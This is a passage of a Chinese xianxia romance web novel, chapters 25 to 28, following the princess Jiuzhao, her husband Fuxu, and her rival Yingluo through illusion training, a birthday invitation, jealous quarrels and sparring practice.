可指尖沾上扶胥为护自己才会伤口破裂的鲜血,她又施法消去血迹,神情蔫了下来:“不用你来提醒,我也明白这是我包庇纵容犯下的错,我没想逃避,你大可以将我隐瞒的旧事告诉父神……一人做事一人当,不管父神降下怎样的惩罚,本殿都不会有怨言。” 扶胥垂着眼帘,不置一词。 像是听进去了,又仿佛没有在听。 选择权在他的手里,自身也无需继续追问结果,只消静待天音。 九昭忍着纷乱忐忑的心绪,这回找了个正向的话题:“你上次说,心魔幻境的弱点常常潜伏在细节里,我这回真的发现了一点和过往记忆不同的地方!” 扶胥眉眼一动:“何解?” 九昭正色道:“长生台下的罡风,无法杀死没有受伤的神仙,本殿在幻境被兰祁推下去的时候,却感觉到它们想要杀死我,也能够杀死我,这跟记忆里的实情是违背的。” 扶胥没露出惊讶的表情,平静的面容平添几分欣赏。 九昭才知道他追随自己跌落的那一小段时间里,早已察觉出了异样。 这便是上神和下仙之间的差距。 扶胥一面肯定她的发现,一面讲解破局的关键:“殿下说得没错,不合常理的罡风正是这低阶心魔幻境的弱点。只要想到这层,并坚定自己的想法,幻境的惑术就能立刻解除,殿下便可以动用仙力,撕开罡风,破境而出。” 九昭恍然大悟:“原来如此,怪不得本殿一想到这层,罡风就突然加剧攻击,折断我一条手臂——竟是为了遮掩弱点。” 想着想着,她又发觉另一处不对劲。 只是这不对劲并不来自心魔幻境。 “幻境中可以使用仙力,你又勘破了弱点,为何要替我忍受痛楚,不直接破开带我出去?” 扶胥的眼珠稍稍偏移,他望着九昭身后的墙壁,似乎在考虑要不要保持沉默。 九昭立刻提醒他:“不许不说话,也不许口是心非,你答应过本殿要改的。” 静了片刻,扶胥只好开口:“这是参悟幻境的最佳时机,诚如殿下所言,疼痛只为遮掩,并不能夺走臣的性命……试炼的机会宝贵,臣想护着殿下,多给殿下一些时间去发现、参破。” 25| 第25章 ◎“他倒比他那个草包哥哥强上许多。”◎ 罡风敲骨刮髓的痛, 就算是三清天某些靠忍受痛苦来修行进阶的神仙来了也扛不住。 更何况眼下扶胥境界受损,内伤加外痛,简直是双重折磨。 他说得轻描淡写, 九昭却无法克制动容的心绪。 作为一只知恩图报的凤凰, 她当即拍打扶胥肩膀,急切相邀:“你这般为本殿,本殿也不是那等不知好歹的人——你现在觉得身体如何?还有没有多余的力气,不如我们合修一回!” 九昭可以对天发誓, 自己提出合修邀请的那一刻,脑海中没有任何多余的念头。 然而这头“报恩”言辞刚出口,那厢面色苍白的扶胥忽然更苍白了一点儿。 敞开的衣袍内, 他坚实的腹部肌肉剧烈收缩,某些在九昭脚下发泄出来的不堪回忆再度席卷神识。他苍白如纸的肌肤也随着气血的向上翻涌,迅速变成了酒醉一般的酡红色。 “……请殿下先把捆在臣手腕上的打神鞭解开。” 扶胥半敛长睫,克制着几欲喷火的眼神, 低声请求。 满心惦记回报的九昭不明所以, 以为他已然默许, 便喜滋滋地捻动指尖,撤回本命仙器。 砰! 下一瞬, 伤弱的青年不知哪来的力气, 攥着她的胳膊将她拎了起来,猛地丢出门外。 震天响的动静, 引来远处戍守的仙卫纷纷侧目。 门内, 对此一无所知的扶胥发出狼狈的低吼声:“感谢殿下的好心, 但臣不需要!” 他尾音打颤, 平素伟岸端持的形象碎了一地。 跟着形象一同破碎的, 似乎还有横亘在两人中间多年的隔阂与桎梏。 被扶胥吼完, 九昭眨了眨眼,伸手抹去鼻尖蹭上的灰尘。 “好嘛,不合修就不合修……那么凶做什么……” 她小声嘀咕着,似是在抱怨扶胥的粗鲁,目光却聚集起轻快如云的笑意。 …… 九昭本以为关禁闭的日子,会无聊到度日如年。 可随着时间推移,她发觉跟随扶胥一起修行的过程,倒也没有想象中的那么枯燥乏味。 从一盆摄念花、四盆摄念花,到后来的十盆、十六盆、二十盆…… 有扶胥的陪伴,心魔兰祁对九昭的影响力不断减弱——一开始她尚需适时的提点保护,在逐渐习惯之后,她寻找幻境弱点的能力也自生疏转变到娴熟,且能在规定时间内将其一一击破。 九昭进步的速度之快肉眼可见,让身为老师的扶胥也十分欣慰。 不再相看两厌,他们的关系亦如寒冰遇上艳阳天,日光消融冰霜,化作清溪涓涓流淌。 只是有一点。 扶胥无论如何都不肯再顺从与她合修。 每每九昭提起这点,他总有一百个理由搪塞,被逼急了,才欲言又止地说道,正常仙侣合修不会如他们这般丧失理智,做出放浪形骸之举——待他解开谜团,再考虑行此事。 起先一两次,九昭还会好声好气地向他保证,有母神留下的命牌在,可以帮他们保持理智。 扶胥依旧拒绝。 哄无可哄,劝无可劝。 耐心告罄的九昭索性绑着他硬来了两次。 合修治疗的效果一次比一次好,受到情火煎熬的扶胥也一次比一次出格。 九昭性格里存着捉弄人的恶劣天性,对于青年换副面孔痴缠自己的香艳行径很是受用。 她用录影术将场面完好封存,回回留着播放给清醒过来的扶胥看。 扶胥羞赧欲死,她则一面夸奖着他的热情,一面无辜地笑嘻嘻。 …… 时光在鸡飞狗跳的相处中过得飞快,一月转眼即逝。 常曦殿内的生活发生了不同程度的变化,扶胥腹部的伤口经过治疗,也只剩一道浅浅疤痕。 一切似乎都在往好的方向发展。 美中不足的是,这一天九昭因着关禁闭而骤然冷落的门庭,迎来了一位不速之客。 殿门打开,滢罗灿烂又惹人厌的笑靥映入眼帘。 她只身前来,不见平日的前簇后拥,还顺手朝九昭展示了一下神帝特赐的天令。 有天令允准,滢罗来拜访九昭,便不算违反规矩。 半个情敌相见,也避免不了分外眼红。 命人将接见滢罗的地点安排在常曦主殿,九昭磨蹭半晌,特地换了身华丽长裙迎客。 层层叠叠的裙摆如潮水一般漫上玉阶,她旋身落座主位,冷着面孔:“你来干什么?” 滢罗笑得春风澹澹,对九昭写满“烦死了快点走”的表情视若无睹:“一月未见,殿下近来可好?仙阶考试结束后的下月初八,是臣三万七千岁的生辰,臣特来离恨天送上宴会请柬。” 说着,她手掌侧转,一张刻有西海水波纹的冰蓝色请柬悬于半空。 女婢取来献给九昭,识别到受邀对象的身份,闭合的请柬自动打开——一番亲笔书写的恳切言辞之下,“滢罗敬奉”的落款锋芒遒劲,全无半点落笔者日常处世接物的柔和婉转。 因着心魔幻境的缘故,重启的旧事纷至沓来。 九昭不仅对待年轻的兰祁感情复杂,再见到滢罗,心中也难免生出诸多感慨。 她并不清楚自己眼神转动的细微处,诚实反映了内心的想法,只垂眸以上位者的姿态俯视滢罗,漫不经心发问:“神仙向来只有万岁整寿才会举行宴会遍邀亲朋,怎么,西神王是笃定这次仙考你一定能顺利晋升天仙,所以打算借着过生辰的名义为你大肆庆祝一下吗?” 滢罗望着她的面容,回答依然滴水不漏:“殿下太抬举臣了,神帝励精图治,三清天人才济济,臣的实力居于末流,自问没有这样的本事未上阵便定输赢,所能做的唯有尽力而已。” 不为夺得仙考魁首庆祝,区区一个生辰又何至于大动干戈? 触及九昭眉心惑色,滢罗却卖起关子:“父王为臣举办生辰宴,是有另一件要紧事,这件要紧事,殿下倘若不来,终究不够完满,故而臣斗胆盼望殿下能够赏脸光临。” 邀请者如此恳切,不管去与不去,当面拒绝倒显得九昭这个受邀者不懂礼节。 她懒得追问滢罗葫芦里卖的什么药,一挥袖将请帖收入储物戒:“知道了,你可以走了。” 滢罗杵着没挪脚步:“殿下,臣还有话未说完。” 九昭不耐烦地撩了撩眉峰:“那你一次性说完。” 面对她的冷淡,滢罗也不以为意。 她环顾一圈,拱手试问:“坐在正殿叙话难免拘束,殿下可否陪臣往花园走走?” 九昭立刻想说不可。 但不知怎的,突然想起了长烨学宫里,滢罗同自己同学同伴的旧事。 那个时候,若要分享秘密八卦,她们也会手挽着手,说说笑笑朝学宫后方的小花园里去。 彼时与此时,两抹相近的身形交叠。 九昭不由无声哂笑。 触及往事,自己的心肠变得柔软许多。 近来心情不错,她到底也没有驳回滢罗的请求。 淡淡瞥过对方一眼,九昭轻哼一声,转身向花园的方向走去。 正值上午,庭院内日暖花香。 廊檐下悬挂的银笼里,极乐鸟受寒霜之气滋润,活得好不惬意。 察觉到有人前来,它们扇动着流光溢彩的翅膀,叽叽喳喳仿佛在相互交谈。 崇黎王声势浩大的赠鸟行为,滢罗在外也有所耳闻,因此看到这幕景象并不意外。 她落后半步,追随九昭信步廊间,又听见九昭头也不回催促道:“好了——有事快说。” 还真是…… 半点好脸色都不愿给自己。 滢罗的笑容微微发苦。 她俯低颈项,维持臣下应有的恭敬姿态,就着极乐鸟闲话:“臣听闻殿下近来在为扶胥上神准备生辰礼,算起来臣的生辰比扶胥上神先至——不知臣是否有此荣幸,得到殿下亲赐之礼?” 耳畔传入扶胥的名字,九昭以为滢罗要趁着四周无人挑衅自己。 结果七拐八绕,却说起了也想得到她准备的礼物。 “……你要说的就是这个?” 九昭的神容一阵变幻,转过头像看新物种一样看着滢罗:“你想得美!” “好吧。” 闻言,滢罗流露出明显的失望。 那流转的眼波黯淡下去,活像是受了多大的委屈。 又来了,又来了。 九昭偷摸撇撇嘴,不去看她,昂着头向前走去。 两人走到游廊尽头,再行几十步便是九昭的寝殿。 寝殿晨间经过女婢打扫,此刻两扇殿门大开,正在迎接阳光洗礼。 滢罗眼尖窥见殿门旁边的彩雕木架上,也挂着个外形小巧,装饰更为精致的鸟笼。 其中栖息的两只极乐鸟甫一瞧见九昭的踪影,立刻高兴得啭啭鸣叫。 笼上附着的仙术气息颇为陌生。 滢罗感应片刻,发觉并不与廊下的鸟笼一般,来源于常曦殿,而是出自九尾狐族。 “殿下,那是?” 顺着滢罗视线的方向一看,九昭眼帘映进那日祝晏额外赠送给自己的“礼物”。 “它们和廊下的这些一样,都是极乐鸟啊。”她走厌了,倚着馥郁满园的繁花坐下,对滢罗没话找话的行为表示鄙夷,“你莫不是年纪轻轻,眼神不好,连长相一样的鸟儿都认不出?” 游廊末端的廊椅长度不够,虽勉强能够坐下两个人,却要身形亲密地挤在一起。 滢罗的目光定在九昭身边的空位上,神情莫测地看了几息,终是没有坐下去:“臣看那供极乐鸟栖息的鸟笼略有不同,还以为是不一样的珍贵品种。” 九昭翻了个白眼:“噢,这样说竟是本殿错怪你了——一点小事你都能观察得这么仔细,不去芸生世的衙门当差真是可惜了,否则话本里哪会有那么多判不了的冤案存在?” 滢罗:“……” 九昭逞完口舌之快,手肘搭着游廊的栏杆,面容流露几分欣赏之态:“寝殿里的那对极乐鸟,是祝晏仙君送给本殿的,他倒比他那个草包哥哥强上许多,人也更加妥帖周全。” 26| 第26章 ◎“殿下和宗姬这是在做什么?”◎ “北神王既已送了这么多对极乐鸟给殿下, 以作染色之用,祝晏仙君又为何会多此一举?” 标志性笑容挂在滢罗面上,但九昭敏感捕捉到她的音色有了微妙变化。 她将这点变化, 归咎为滢罗接受不了自己比她更受欢迎。 于是选择隐瞒祝晏送极乐鸟, 是奉了北神王命令的真相,微微抬起半边下巴,神色颇为骄傲:“本殿是这三清天的储君,北境现在看父神的脸色, 未来就要看本殿的脸色——祝晏比其他人更识相些,抢先捕捉极乐鸟来讨好本殿,不可以吗?” “他若只想以下臣的身份来讨好三清天未来的神帝, 那便没什么要紧的,臣担心的是……” 滢罗清丽的脸孔没来由地严肃起来,话至尾梢,态度又显出几分欲说还休。 明明是心里嫉妒, 偏要做出一副好意替别人考虑的姿态。 九昭觉得好笑, 打断她的话:“你担心, 跟你有何干系?你有什么好担心的?” 有祝晏这个隐患在前,滢罗无法如九昭所愿闭嘴。 她向前一步, 在九昭身边坐下, 同她推心置腹:“北神王妃家族显赫,又骄悍善妒, 万年来大半庶出子女在她手下活不到长大成人。 “祝晏仙君这种生母卑微, 本人天赋又高出世子孟楚不少的庶子, 能够平安存活至今, 且在三清天拥有一定的声名, 便知他心计城府不俗——殿下同他相处, 一切小心为上。” “哦,还有呢?” 衣料摩擦衣料的窸窣声响起,九昭望着滢罗毫无自觉靠近自己的逾越行径,不冷不热问道。 关心则乱情智,滢罗当她是听进去了劝诫的话,继续语重心长:“殿下天性纯善赤忱,总是将那等别有用心之辈当成朋友,臣只想提醒殿下,防人之心不可无,还是要多多观察祝晏才行。” 眼前的女子嘴唇张合,看起来满是情真意切。 九昭却想到那些借由心魔幻境回忆起来的过往——是了,她和滢罗渐行渐远的原因,就是因为滢罗总像这般,见缝插针地说着所有同她亲近者的坏话,远到学宫中的同辈,近到养兄兰祁。 哪怕九昭避她不见的多年后,滢罗还要在她马上就要嫁给扶胥的前夕,专程来到常曦殿,握着她的手,告诉她自己的父王曾经有意同扶胥结亲,问及扶胥的意见,对方没答应也没拒绝。 滢罗的言下之意,扶胥看重的只是妻子的身份。 九昭的出身比她更加高贵,他才会放弃与西海的联姻,转而选择九昭。 她反复强调着九昭的女君身份,强调着那些关心九昭、陪伴九昭的人,都不安好心。 作为密友的起初,九昭也以为滢罗是真心为了自己好——后来,在不止一次见到滢罗和那些她口中的“异心”人士谈笑风生时,九昭才明白,滢罗原来是见不得自己好。 因为见不得自己好,所以才会一次又一次地挑拨离间。 挑拨离间到身边几乎只剩下她这一个朋友。 可笑的是九昭在吃亏无数次后,终于看穿了她的本质,其他人却从未看穿。 伪装常年覆身,她是如此的美丽、聪慧、得体。 用那些追随她的拥趸们的话来说,滢罗行事大方,进退有度,远比她九昭更像神帝之女。 许多刻意遗忘,又被迫想起的孤单往事将九昭淹没。 她以为自己会愤怒,会在滢罗故技重施之际一把抓住她的衣襟,向她问个明白。 可她安静听完滢罗编排祝晏的言语,只唇角上扬,笑意冰凉讥讽:“把别有用心之辈当做朋友的例子,不就在本殿眼前吗?怎么,滢罗宗姬眼下是在表演同性相斥?” 滢罗一下顿住。 她的脸色红白交织,细长而柔美的眼眸透出我见犹怜的委屈。 九昭不明白滢罗在委屈什么。 搭在膝盖上的双手却被她突然紧紧握住。 九昭的身体条件反射后退,奈何后方是游廊的栏杆,她退无可退。 “殿下就这般不明白臣的心意吗?” 滢罗素白的面孔压了过来,她檀口张合,呵气如兰,殷殷道:“这么多年,臣——” “殿下和宗姬这是在做什么?” 滢罗的话又被第二次打断。 只不过这次将她打断的人,九昭并不希望他出现在此时此刻。 游廊岔口的拐角绕出一抹颀长身影,不知何故早早结束闭关的扶胥撞进两人眼底。 九昭很确定,到自己送走滢罗,扶胥都不应该从侧殿出来。 半个时辰前,九昭收到滢罗前来拜访,等在离恨天结界口的消息。 她不想让两个旧情人见面,便晾着滢罗,转头催促起扶胥今日还未打坐疗伤。 确定扶胥真正进入闭关状态后,她才命绛玉开启阻拦的结界,把人放进来。 扶胥结束得这么快,这么迫不及待。 只有一种可能。 一想到那种可能,滢罗步步紧逼带来的慌乱瞬间被不满取代。 九昭的心中像是打翻了醋缸,又酸又胀的滋味不断扩散开来,她也不忙着推开滢罗了,一双妙目瞪着扶胥,半是质疑半是威胁地笑问道:“你怎么出来了,不是在闭关打坐吗?” 扶胥答:“结束得早,本打算来花园透透气,不成想殿下和宗姬皆在此处。” 青年的嗓音回应着九昭,眼神却落在压着她的滢罗上。 趁九昭扭头没关注自己,滢罗得寸进尺将脸凑得更近,落在廊檐阴霾里,对扶胥微微一笑。 这无声却激烈的眼神交锋并未引起九昭的注意,她酸溜溜地自言自语:“哦,平时不都是将近用午膳的时辰才会出来吗——今天真是太阳打西边出来了,怕不是还有别的原因。” 扶胥眸光动了动,不理她的话,目视滢罗:“宗姬还不从我妻子身上下来吗?” 这话过于直接。 假设滢罗是男子,跟捉奸在床的质问也别无二致。 滢罗却满不在乎地伸手抚向九昭的鸦发,不顾九昭的闪避,摩挲一阵,自发缝中摘出半片粉瓣:“原是殿下发髻上落了片飘散的桃花,我想替她摘掉而已,扶胥上神可别多心。” 她又是柔柔微笑,整理着水蓝裙摆,自九昭身畔站起。 …… 有了扶胥的加入,游廊的长椅明显不够用了。 三人将阵地转移到凉亭的石桌旁,绛玉和缃璧送上茶水点心,琳琅满目地摆了一桌。 从坐下起,扶胥和滢罗的视线就时不时交织,他们互相关注着对方的举止,这让以三角形式坐在石凳上的九昭时而觉得自己被夹在中间难受,时而又认为三人关系中,她显得十分多余。 简短闲聊过仙考的事情,得知九昭也要参加,滢罗立刻一脸真诚地预祝她夺得魁首。 九昭嘴角勾了勾算是回笑,径自喝茶吃起点心来。 见状,滢罗也没多谈。 她游刃有余地转换话题,将邀请前往西海参加生辰宴的事,原封不动对扶胥说了一遍。 待到笑着打开储物戒,寻找要送给扶胥的那封请柬时,她又“诶呀”一声,摊开手满脸无辜地抱歉道:“都是我的错,我来时满心满眼惦记着给九昭殿下送请柬,竟是忘记了扶胥上神如今也住在离恨天——没带上神的那份,还请上神勿要怪罪。” “无妨。”扶胥不动如山,姿态坦荡,“距离生辰宴时日尚早,宗姬要住在二清天准备仙考,今后你我见面的机会还有很多,下次宗姬将请柬带上就是。” 滢罗睫羽一抖,黑白分明的眼睛带着几分试探:“届时上神会随同九昭殿下一起赴宴吧?” 扶胥正要点头,九昭却直接用手拈起一块软糯黏嘴的玫瑰软糕塞进他嘴里:“刚闭关出来,又和滢罗说了这么久的话,你肯定饿了吧,来来来,尝尝点心!” 九昭偏转脸颊,望着扶胥的视线大有他摇头说不饿就掐死他的阵仗。 软糕入口的顷刻,同九昭口脂一般的香气迅速充盈鼻尖齿关。 娇嫩的、柔软的、带着挥之不去的甜味。 扶胥直面前方的瞳孔微微躲闪,在九昭的注视下,下睑倏忽发热起来。 他被动地咀嚼,甜意沁入口腔,而心中念念不忘的,却是另一种味道。 就快要把软糕咽下去的时候,九昭做作又甜蜜的声音继续传来:“阿胥,你走什么神呀?” 她葱白的指尖绕着不知哪里摸出来的手帕,凑到他唇边,替他擦去玫瑰软糕上掉落的糖霜碎屑,“滢罗说时候不早,她还要回去继续修习仙术,你要不要替本殿送送她?” 扶胥没来得及吭声,起身的滢罗善解人意地说道:“不劳烦上神相送,滢罗这就走了。” 走之前,她再度深深看了九昭一眼,拱手道:“仙考有殿下作为对手,臣定会加倍努力。” “不送。” …… 片刻后,滢罗袅娜的身影消失在前庭,对于扶胥没有相送的行为,九昭颇为满意。 她转过头,眼神逡巡在几盘点心上方,喜滋滋询问扶胥:“玫瑰软糕好不好吃,还要吗?” “咳。” 扶胥清了清嗓子,一说到玫瑰软糕,他的脑海总会浮现九昭红嫩嫩的嘴唇。 看九昭不是,看别处也不是,他索性把视线定格在通往前殿的方向,内心思量着滢罗特地举办生辰宴的用意,轻声道,“……味道不错,只是过于甜腻,臣品尝一块就差不多了。” “好吧,你不吃我吃。” 九昭没意思地噘了噘嘴,正想拿一块自己吃,又看见扶胥盯着滢罗离开的方向片刻都不肯转眼,漂亮的脸蛋立刻变臭,“看够了没有,这么舍不得老情人,现在追出去还来得及——” 【作者有话说】 明天就要上那个新书千字榜了,新章会压在晚上十一点半更新~ 以后都是正常傍晚六点更新的,谢谢小天使们的支持! 27| 第27章 ◎“殿下以为这些年,她念念不忘的人是臣?”◎ 九昭的话若放在往常, 扶胥是懒得跟她辩论的。 一方面在于,昔年西神王为滢罗向自己提亲确有其事。 另一方面,神仙成婚这种事, 多数说到底跟感情无关, 或因两族相交,或为维系地位,或求合修共进——反正不是被两位恋爱脑父母言传身教的九昭眼中,那等纯粹无瑕的关系。 扶胥戎马半生, 替三清天南征北战,不是在练军,就是在练军的路上, 连辟蒙宫都甚少回去。再忆及历任先战神,因犯下太多杀业而半数不得善终的下场,他对婚姻大事更加不存期待。 既难与情投意合者白头偕老,不如将婚姻的作用发挥到最大化。 当初他没有一口回绝西神王的提议, 便是看在滢罗天赋佼佼, 颇有希望晋升上神。 若采用寻常的进阶方式, 滢罗的登神之路难免道阻且长。可扶胥若愿意运转神力,与之合修, 就能助她早日突破境界桎梏, 得证神位,也相当于为三清天再添一份强大助力。 只是合修最关键的一点, 需要开放灵台, 接受彼此的力量交融。 这并非口中说同意就能做到, 须得两人关系亲密无间, 才能消解本能的抵触。 在西神王来访之前, 扶胥和滢罗几乎没有军部以外的交集。 唯有通过成婚缔结契阔诀, 方可借助捷径,强行合修。 扶胥知晓所谓“谈婚论嫁老情人”背后的真相,就算告知九昭,也会被她揪着自己曾经动过心思这点说个没完,所以平时都是保持沉默,只要不接茬,九昭总会觉得独角戏没意思。 但今日,他的内心被无数纷乱的念头充斥着。 一会儿是软糯芬芳的玫瑰糕点。 一会儿是他感应到滢罗靠近的气息,从侧殿来到花园时,瞧见两人叠在一起的场景。 他突兀感到心烦意乱。 刚直起半截的身体重重坐回石凳,顿了又顿,沉着声调开始解释:“西神王曾经有意于臣是事实,臣没什么好辩驳的。只是此事已经过去许久,同殿下成婚后,臣再也没有和滢罗宗姬单独相处过,这些年也始终保持距离,以礼相待。臣自问没有任何逾越,不知殿下为何生气?” “如果她不曾对你念念不忘,又或者你没给过她暗示,她这般追着你不放是为了什么?” 九昭把刚拿起来的糕点丢回玉盘,砰地一声拍在石桌上,“还有,你晓得无可辩驳就好,既有一段过往,就该彻底避嫌,以什么礼,相什么待,今后你俩少在本殿面前眉来眼去!” “眉来眼去又是从何说起?” 扶胥难得体会到何为头大如斗,“哪怕昔日提亲之时,臣对滢罗宗姬也无半分男女之情。” “没有半分男女之情。” 九昭学着扶胥的语调重复一遍,而后哼哼唧唧阴阳怪气,“那还真是奇了怪了,你们没有感情,滢罗的父亲会找你来提亲,你想说,西神王是单单看上你的上神地位了是吗?那本殿作为储君,比你的身份还要高出不少,他怎的不替女儿来向本殿提亲?” 这话就是彻头彻尾的蛮不讲理了。 九昭是女子。 滢罗也是女子。 三清天何时有过同性也能结亲的规矩? 念头在脑海轮转,“她们皆为女子”六个字却提醒了扶胥。 扶胥想,自己好像猜到了生辰宴上,一直对九昭别怀他意的滢罗打算做些什么。 石凳上,搭在膝盖边的手掌紧握成拳,他的脸色变得难看起来。 “怎么不说话,是被本殿下说得哑口无言了吗?” 等来等去等不到扶胥的辩白,九昭越发不高兴。她双手撑住桌面站起,倾身迫近坐在对面的扶胥,眉梢眼角跳动着压抑的怒火,“我不和你提过去的事,单论今天,你也站不住理—— “不是说了保持距离吗?那你刚才直勾勾盯着滢罗离开的方向是干什么?本殿最后提醒你一句,我为君你为臣,这场婚契,只有我嫌你人老珠黄腻了你的份,你可别想着能够红杏出墙!” 一通警告完毕,九昭全然没有意识到此刻自己身上散发的醋意有多浓重。 她越说头颅凑得越近,面孔就快怼到扶胥的脸上。 视野里不慎映进她娇艳的嘴唇,气氛紧张的场面倏忽变了个味道。 扶胥的舌尖自动分泌唾液,回味起玫瑰软糕的甜。 他闭了闭眼:“……臣刚才在思考事情,没注意到脸对着的是滢罗宗姬离开的方向。” “好一个思考事情—— “你且说说,你思考出了什么!” 九昭分毫不让,语调刻薄至极。 那双淬火的凤眸盯住扶胥,仿佛要在他的肌肤上活生生烧出两个洞。 饶是扶胥不喜将未曾发生的事情揣测出口,此际也被她激将得有些忍不住。 他离开石凳,迎着九昭的视线站起:“难道殿下当真认为这些年,她念念不忘的人是臣?” 近无可近时,他淡色的薄唇擦过九昭侧脸,接着面孔不复,抵于九昭眼前的换作玄衣滚边的宽阔胸膛——扶胥的声音低沉,仿佛胸腔血肉亦在发出共鸣,震得人耳廓发麻。 九昭微怔:“念念不忘的不是你,还能是谁?” 扶胥反问:“若滢罗放不下的是臣,为何回回与臣相处,从来不避开殿下?凭借她的手段智慧,要寻个合适机会和臣独处,想必不是难题——总不能说殿下在侧,更有利于倾诉相思。” 距离过近,九昭被男子气息强烈的肌体压覆着后撤一步,左脚绊住右脚,踉跄坐倒在凳上。 她的眼珠胡乱转动起来,显然固有思维受到了冲击。 过了几息,她不确定地抬起眼睛:“她总在我身边挑拨——难不成,暗恋的是兰祁?” “……” 扶胥无言以对。 或许对于性取向比碧落树还直的九昭而言,同性欢好这件事太过超出认知。 他暗忖再三,犹豫着要不要揭破这个事实。 但蓦然之间,又生出一点难与人知的私心。 他离开位置,来到九昭身侧,决定转移话题:“殿下吃饱了吗,要不要再吃几块点心?” 九昭正陷在自己的世界里,越想越觉得有理。 那些起先跟她关系好的人,到最后都会跟滢罗关系更好。 唯有兰祁,从头到尾对滢罗不冷不热。 滢罗就是因为得不到兰祁,又眼红他们过去形影不离,才会想把她彻底孤立出圈子—— 真可笑。 她和滢罗关系亲密,滢罗说一句她看上了兰祁,难道她会为着一个男人同朋友势不两立? 一口气憋在心头,上不来也下不去。 愤怒之余,九昭又为滢罗的不信任自己感到悲哀。 她从摆放的几盘糕点中,挑出块色彩清淡的荷花酥。 那起酥的糕点皮一层又一层,像极了心眼数不胜数的滢罗。 它咧开嘴,嘲笑着被耍弄得团团转的九昭。 九昭十分看不顺眼,干脆将它一拳捶扁:“不吃了,见过你们两个讨厌鬼,烦也烦饱了!” 扶胥颔首:“那好。” 九昭不知他在好些什么,正想质问他的敷衍。 倏忽间视野天旋地转,被一双有力的臂膀扛到了肩头。 “——??!!” 后背朝天,脸蛋朝下。 九昭趴在扶胥的肩膀上,被他扛着走出凉亭。 余光里闪过女婢们乱入的衣摆,和震惊到结巴的请安声音,她粉白的荷面迅速充血涨红。 “扶胥,你在干什么,快点把本殿放下来!!” 前头被刁难了半天的青年,却不想放过这以牙还牙的时刻。 他一步一步,足音沉稳,无视周围错愕的眼神,泰然告诉九昭:“坐在凉亭和滢罗宗姬闲谈半天,殿下也休息够了,今日的修行课程耽误不得,臣现在就带殿下前往演武场。” 九昭恼羞成怒,握拳狠狠捶了几下他的后背:“本殿有脚,自己会走!” “殿下还是省点力气吧,等会儿指不定走路都得叫人搀扶。” …… 似乎是第一批看到的绛玉缃璧,赶去通知了其余的守卫仙官。 扶胥扛着九昭走了一程,后续再也没有无关人等出现打扰。 他将九昭带到位于离恨天西南方向,从建成开始就没有使用过的演武场。 偌大的演武场占地开阔,无风无息,右侧一排的架子上,悬挂着依次展开的不同兵器。 浅青结界升起,隔绝外界窥探目光。 他松开手,将骂了一路也捶了一路的九昭放在地上,指尖顺衣裙往下,刻意避开敏感部位。 九昭的脸颊如同熟透的番茄,脚掌触地的瞬间,她的眼睛立刻转过去不再看扶胥。 “殿下,这一月以来你顺利渡过心魔幻境的次数不少,想来只要记得臣上课时讲解过的几点经验,仙阶考试的验心部分总能在规定时限内完成,接下来,要紧的是第二项考核争身——” 回归正事,九昭气消了一些,尚在别扭状态,扶胥却无缝切换到夫子的身份。 “今天没有具体的课程,先从体术开始。 “待到臣一声令下,殿下可以用各种方式攻击臣,只要打到臣就记一分。” 九昭对扶胥的安排嗤之以鼻:“三清天人人都有仙力,练习这等拳脚功夫有什么用?难道到了考试的时候,本殿说不准使用仙术,他们就会纷纷遵照命令,同我一拳一脚地公平竞争?” “看来殿下不够了解天仙考试的规矩。” 扶胥的眼神宁然无波,尽职尽责为她说明,“赶在所有考生之前,登上扶桑神木的顶点,是争身考核最明面的规矩——实则,扶桑神木上设有许多禁制,考生不得浮空直飞,不得使用仙术瞬移,且层层枝杈之间存在各式关卡阻碍,光向上攀登都要耗费不少仙力。 “哪怕考生不互相斗争,许多人也会因为攻克陷阱而导致仙力耗损过度无法登顶。 “是而,保存仙力,以近身格斗之术胜过对方,也是非常重要的一课。” 28| 第28章 ◎“倘若扶胥就是介意臣的男子身份呢?”◎ 扶胥解释完, 就一声令下。 既他说修习体术很重要,九昭更乐得报偿先前被人拦腰扛肩之辱。 只见她平举双拳,腰腹下沉, 做出蓄力进攻的姿势, 再次不怀好意询问道:“无论何种方式,只要打到你就算一分,对吗?扶胥上神届时不会责怪本殿下手重吧?” 扶胥一点头:“无论何种方法,打到臣便算有效, 殿下积满十分,今天的课就提前结束。” 他无视九昭的第二个问题,说完撤退半步, 双手依然背于身后。 “区区十分而已,你怕不是看不起本殿?” 九昭将这件事想得极为简单—— 过去一千五百年,她跟扶胥话不投机,时常干架。 虽是她单方面追着扶胥打, 但扶胥总能被她抓住空隙揍到好几下。那会儿多在室内, 扶胥还能借助各类家具摆设躲闪——现下演武场如此空旷, 他又能躲到哪儿去? 忆及此,九昭踌躇满志, 将青年叮嘱的最后一句“臣虽不反抗, 但也会招架殿下的攻击”化作耳旁风吹过,便两腿用力一蹬, 朝着扶胥的方向扑打过去。 九昭首先瞄准的位置是扶胥的鼻梁。 那高拔的弧度, 如陡峭山峰, 最能显出扶胥的不近人情。 她幻想着一拳过去, 最好能将他揍得鼻血直流, 也好出了今日的恶气。 奈何。 扶胥浑身上下好似都长满眼睛。 九昭拳风才至, 他已脚步变换,瞬移到她的后方。 用力过猛,九昭难以立刻收势,身体撞得旁边兵器架一阵叮铃哐啷响。 “双人对阵,盲目出招是大忌。 “若此刻在仙阶考试中,臣绕到殿下身后踢上一脚,殿下就会马上掉落树梢。” 扶胥平淡的嗓音自后方咫尺处响起,九昭得以凭借话音的强弱,判断出两人相隔间距。 她身形未稳,急于捕捉时机,曲起膝盖向后方猛踢。 结果又落了个空。 扶胥二次预判到她的心思,提前撤出腿脚的攻击范围。 “殿下的进攻方式太过死板,大部分人在攻击后方近处的敌人时,都会选择用脚踢。 “但你想得到,经验丰富的敌人也能想得到。出于固定思维,他多半会注意你的双腿,同时后撤脚步,身体的移动反而会落后一拍。这种情况下,不如使用肘击更有可能打中敌人。” 扶胥的身法灵活敏捷到超出九昭的认知。 又一次出拳被躲过,九昭突然意识到,过去自己能跟扶胥打得有来有回,纯粹是扶胥放水。 几万年的出生入死,战场上历练出来的本领—— 只要扶胥愿意,九昭的每一个招数他都能轻而易举躲避。 “好啊,原来你之前都是演的!” 九昭大喊一声,声浪冲击耳膜,令扶胥脚步微微停顿。 察觉到稍纵即逝的机会,九昭连忙再次冲上去。 下一瞬,扶胥却是抿紧嘴唇,身体不动,探脚不偏不倚拦在她的来路。 “啊!” 毫无防备的九昭被他绊了一跤,就要撞进他的怀里。 慌乱过后,她的大脑快速转动起来: 罢了,摔倒就摔倒吧。 有扶胥的怀抱挡着,起码不会太难看。 收不住势,九昭干脆破罐破摔向前扑去—— 出乎意料的是,扶胥侧身躲开了。 